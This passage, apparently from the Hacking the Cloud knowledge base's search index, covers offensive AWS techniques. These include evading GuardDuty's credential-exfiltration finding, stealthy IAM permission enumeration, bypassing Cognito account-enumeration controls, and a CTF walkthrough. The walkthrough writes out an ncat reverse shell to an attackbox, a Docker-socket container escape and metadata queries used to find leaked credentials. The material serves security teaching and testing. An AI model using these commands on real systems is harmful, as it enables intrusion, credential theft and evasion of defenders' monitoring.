delete-publishing-destination --detector-id abc123 --destination-id def456\n</code></pre>"},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"<ul> <li> <p> Tools mentioned in this article</p> <p>SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints </p> </li> </ul> <p>A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.</p> <p>To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.</p> <p>On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.</p> <p>However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, <code>if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding</code>.</p> <p>Note</p> <p>There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.</p>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"<p>To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.</p>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"<p>To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session. </p> <p>Next, perform the following Terraform commands:</p> <pre><code>terraform init\nterraform apply\n</code></pre> <p>Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.</p> <p>After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.</p> <p>To teardown the infrastructure, run the following command:</p> <pre><code>terraform destroy\n</code></pre>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"<p>Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.</p> <pre><code>export AWS_STS_REGIONAL_ENDPOINTS=regional\n</code></pre> <p>This is because some versions of the AWS SDK default to using the global STS endpoint at <code>sts.amazonaws.com</code>. This is problematic because VPC endpoints are regional (e.g. <code>sts.us-east-1.amazonaws.com</code>). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.</p>"},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"<p>Link to Project: CI/CDon't</p> <p>Note</p> <p>This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.</p> <p>Warning</p> <p>If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.</p>"},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"<p>This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.</p> <p>Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.</p> <p>In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.</p>"},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"<p>Clone this repository and navigate to the cicdont directory.</p> <pre><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n</code></pre> <p>To deploy the CTF environment run the Terraform init/apply command.</p> <pre><code>terraform init\nterraform apply\n</code></pre> <p>You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.</p> <p>Note</p> <p>It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.</p> <p>Warning</p> <p>To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named <code>allow_http</code> and ensure that its configuration would allow you to reach it.</p> <p>To destroy the CTF environment run the Terraform destroy command.</p> <pre><code>terraform destroy\n</code></pre> <p>This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"<p>Once you've run terraform apply, you will receive 5 outputs. This will include the following:</p> <ul> <li>Player Username</li> <li>Player Password (randomly generated)</li> <li>Attackbox IP</li> <li>Target IP</li> <li>Time warning</li> </ul> <p>The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).</p> <p>To access the attackbox, you can ssh using your player username and password.</p> <pre><code>ssh &lt;player username&gt;@&lt;attackbox IP&gt;\n</code></pre> <p>Note</p> <p>When sshing with a player username, note that the username is case-sensitive.</p> <p>It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to <code>http://&lt;target IP&gt;/</code>. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.</p> <p>Note</p> <p>To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named <code>allow_http</code> and ensure that it's configuration would allow you to reach it.</p> <p>These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).</p> <p>If you see any references to <code>gamemaster</code>, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"<p>You are &lt;player username&gt;, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?</p> <p>After planning your attack you figure the best place to get started is the company GitLab server at http://&lt;target IP&gt;. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"<p>Gain access to the <code>aws_admin_automation_user</code> through whatever means necessary (Note that this role has no permissions. It is simply the goal).</p>"},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"<p>Want to provide feedback on the challenge? Open a new discussion on GitHub</p>"},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"<p>The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.</p> Summary <p>Consent and Name</p> <p>To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.</p> <p>Download the challenge using git. <pre><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n</code></pre></p> <p>Initialize the project. <pre><code>terraform init\n</code></pre></p> <p>Create the infrastructure. <pre><code>terraform apply\n</code></pre></p> <p>We will be prompted first with a consent. Read through the question and answer with yes or no.</p> <p>After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.</p> <p></p> <p>After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".</p> <p>The Terraform deployment will begin.</p> <p>Wait</p> <p>Note</p> <p>You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.</p> <p></p> <p>Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.</p> <p>You can ssh into the box using your username and password</p> <pre><code>ssh &lt;player_username&gt;@&lt;target_ip&gt;\n</code></pre> <p>Note</p> <p>The username is case-sensitive.</p> <p>Getting Started</p> <p>After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.</p> <p></p> <p>From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.</p> <p></p> <p>Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.</p> <p>Navigate to the mvp-docker project's Issues page.</p> <p></p> <p>This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.</p> <p>Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.</p> <p>Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).</p> <p></p> <p>After committing changes (via the web interface or otherwise) you can navigate to the <code>CI/CD</code> tab on the left to see the pipeline execute.</p> <p>Clicking on the status, and then the build job we can see the output.</p> <p></p> <p>This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.</p> <p>This looks like a fantastic place to start.</p> <p>Getting a Reverse Shell</p> <p>Our next step will be to get a shell in this environment. This is where our attackbox can come in.</p> <p>Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.</p> <p>SSH into your attack box and install a tool called <code>ncat</code>.</p> <p></p> <p>Now, we can setup a listener (from the attackbox) with the following command.</p> <pre><code>sudo ncat -l 443 --ssl -v\n</code></pre> <p>We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.</p> <pre><code>apt update\napt install -y ncat\nncat &lt;attackbox_ip&gt; 443 --ssl -e /bin/bash -v\n</code></pre> <p></p> <p>Now click \"Commit changes\" and watch that pipeline run.</p> <p>You are now the proud owner of a reverse shell inside this Docker container.</p> <p></p> <p>Docker Socket</p> <p>From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.</p> <p>The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.</p> <pre><code>TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n</code></pre> <p>That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?</p> <p>That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?</p> <p>When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.</p> <p>The common location for the socket is at <code>/var/run/docker.sock</code>, let's go look for it.</p> <p></p> <p>There we go! They did mount the Docker socket! Let's use this to escape the container.</p> <p>Escaping the Container</p> <p>Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.</p> <p>First let's install two tools that will make things easier for ourselves.</p> <pre><code>apt update\napt install -y python3 docker.io\n</code></pre> <p>Python3 will help us to spawn a <code>tty</code> and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.</p> <p>With those two tools installed, let's spawn a <code>tty</code> with the classic Python one-liner.</p> <pre><code>python3 -c \"import pty;pty.spawn('/bin/bash')\"\n</code></pre> <p></p> <p>Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.</p> <pre><code>docker ps\n</code></pre> <p>This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).</p> <pre><code>docker run -it --rm --pid=host --privileged ubuntu bash\n</code></pre> <p>Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.</p> <pre><code>nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n</code></pre> <p></p> <p>How fun is that?! We now have root on the underlying host and have escaped the container.</p> <p>Escalating</p> <p>With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.</p> <p>User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.</p> <p>Let's check this (remember we are using IMDSv2).</p> <pre><code>TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n</code></pre> <p></p> <p>On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.</p> <p>There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.</p> <p>This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: &lt;what's in the useradata&gt;)</p> <p>After exploring around for a little while, you may stumble into the the <code>infra-deployer</code> project. That sounds important.</p> <p></p> <p>\"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the <code>Settings</code> tab on the left and then click <code>CI/CD</code>. Next, click <code>Expand</code> on the <code>Variables</code> section.</p> <p></p> <p>An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).</p> <pre><code>export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n</code></pre> <p></p> <p>And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.</p>"},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"<p>These wonderful folks helped beta-test this CTF and provided feedback.</p> <p>Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal</p>"},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"<ul> <li> <p> Original Research</p> <p> <p>Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette</p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>aws_stealth_perm_enum</p> </li> </ul> <p>Warning</p> <p>As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.</p> <p>After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.</p> <p>Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?  </p> <p>The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.</p> <p>The following services are affected, although please note, that not all actions for these services can be enumerated.  </p> application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail <p>Note</p> <p>For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.</p> <p>There are some conditions to the enumeration, and they are defined below.</p> <p>1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".</p> <p>To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.</p> <p></p>"},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"<p>Warning</p> <p>As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.</p> <p>sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.</p> <pre><code>user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n</code></pre>"},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"<p>Warning</p> <p>As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.</p> <p>As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.</p> <pre><code>user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n</code></pre>"},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"<p>With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.</p>"},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"<p>By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.</p> <pre><code>user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n</code></pre>"},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"<p>By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.</p> <p><pre><code>TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n</code></pre> The output will reveal additional information. <pre><code>{\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n</code></pre></p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"<ul> <li> <p> Original Research</p> <p> <p>Finding the Account ID of any public S3 bucket by Ben Bridts</p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>s3-account-search: A tool to find the account ID an S3 bucket belongs to.</p> </li> </ul> <p>Note</p> <p>When you install a version &lt;0.2.0 using pip, the executable is named <code>s3-account-search</code>.</p> <p>By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.</p> <p>To test this, you can use Grayhat Warfare's list of public S3 buckets.</p> <p>You will need a role with <code>s3:getObject</code> and <code>s3:ListBucket</code> permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.</p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"<p>The tool can be installed with the following command:</p> <pre><code>python3 -m pip install s3-account-search\n</code></pre>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"<p>To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the <code>s3:GetObject</code> or <code>s3:ListBucket</code> permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.</p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"<pre><code>s3-account-search arn:aws:iam::123456789123:role/s3-searcher &lt;bucket name&gt;\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n</code></pre> <p>Operational Security Tip</p> <p>As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the <code>GetObject</code>, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022. </p> <pre><code>```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n</code></pre> <p>Tip</p> <p>Pair this with Unauthenticated Enumeration of IAM Users and Roles!</p>"},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild</p> </li> <li> <p> Tools mentioned in this article</p> <p>enumerate-iam: Enumerate the permissions associated with an AWS credential set.</p> </li> </ul> <p>When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough. </p> <p>This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.</p> <p>To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.</p> <pre><code>user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n</code></pre>"},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"<p>With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.</p> <pre><code>cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n</code></pre> <p>This will create or update a file named bruteforce_tests.py under enumerate-iam.</p>"},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"<p>One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force. </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"<ul> <li> <p> Additional Resources</p> <p>AWS Docs: Managing user existence error responses</p> </li> </ul> <p>Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.</p> <p>By default, Cognito will set a configuration called <code>Prevent user existence errors</code>. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.</p> <p>While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.</p> <p>Note</p> <p>Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.    </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"<p>To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The <code>admin</code> user exists in the user pool and is the account we will be trying to enumerate.</p> <p>Note</p> <p>The <code>client-id</code> value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client. </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n</code></pre> <p>As you can see, an adversary can use the <code>UserNotFoundException</code> and <code>NotAuthorizedException</code> to enumerate whether an account does or does not exist. By enabling the <code>Prevent user existence errors</code> configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"<p>The <code>Prevent user existence errors</code> configuration appears to only impact the <code>initiate-auth</code> flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and 